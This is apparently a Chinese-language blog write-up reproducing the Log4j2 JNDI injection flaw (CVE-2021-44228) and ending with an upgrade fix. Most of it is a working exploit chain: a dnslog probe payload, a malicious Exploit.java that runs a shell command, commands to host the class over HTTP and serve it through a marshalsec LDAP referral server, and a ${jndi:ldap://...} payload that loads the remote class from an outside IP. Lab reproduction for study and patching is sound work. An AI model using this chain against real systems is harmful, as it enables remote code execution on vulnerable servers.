log4j2漏洞CVE-2021-44228复现

1. 漏洞描述

12 月 10 日凌晨,Apache Log4j2存在任意代码执行漏洞细节被公开,经过分析,该组件存在Java JNDI注入漏洞,当程序将用户输入的数据进行日志,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。

Log4j 是一款开源Java日志记录工具。Log4j2是对Log4j的升级,此次漏洞正是由用于Log4j2提供的lookup功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。

2022-01-17T12:13:21.png

2. 影响版本

Apache Log4j 2.x <= 2.14.1 Apache Log4j 2.x < 2.15.0-rc2

3. 漏洞复现

首先尝试dnslog打一波,新建一个maven项目,加上log4j依赖:

    <dependencies>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.1</version>
        </dependency>
    </dependencies>

然后编写类:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
class Log {
    public static final Logger logger = LogManager.getLogger();
    public static void main(String[] args) {
        logger.error("${jndi:ldap://td6a4.xxx.aliguru.xyz}");
    }
}

2022-01-17T12:00:29.png

然后尝试rce,这里使用jdk1.8.0_66的版本,高版本需要寻找其他利用链。先新建一个恶意的类:

# Exploit.java
public class Exploit{
    public Exploit(){
        try{
            String[] commands = {"touch","/tmp/123"};//执行的命令。参数需要分开
            Process pc = Runtime.getRuntime().exec(commands);
            pc.waitFor();
        }catch(Exception e){
            e.printStackTrace();
        } }
    public static void main(String[] argc){
        Exploit e = new Exploit();
    } }

然后编译成class文件

/javac Exploit.java

将编译成的class文件上传到文件服务器上:

python3 -m http.server 9000

到此刻访问http://42.192.189.2:9000/Exploit.class可以访问到恶意类。

再使用marshalsec启动一个LDAP服务器,监听9999端口,并指定远程加载类Exploit.class。

apt install maven
git clone https://github.com/mbechler/marshalsec.git
mvn clean package -DskipTests
cd target
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://42.192.189.2:9000/#Exploit" 9999

到此刻jndi服务器就完成了

然后尝试log加载远程代码:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
class Log {
    public static final Logger logger = LogManager.getLogger();
    public static void main(String[] args) {
        logger.error("${jndi:ldap://42.192.189.2:9999/Exploit}");
    }
}

2022-01-17T12:09:08.png

2022-01-17T12:09:24.png

成功实现rce

4. 漏洞修复

升级到log4j 2.16.0及以上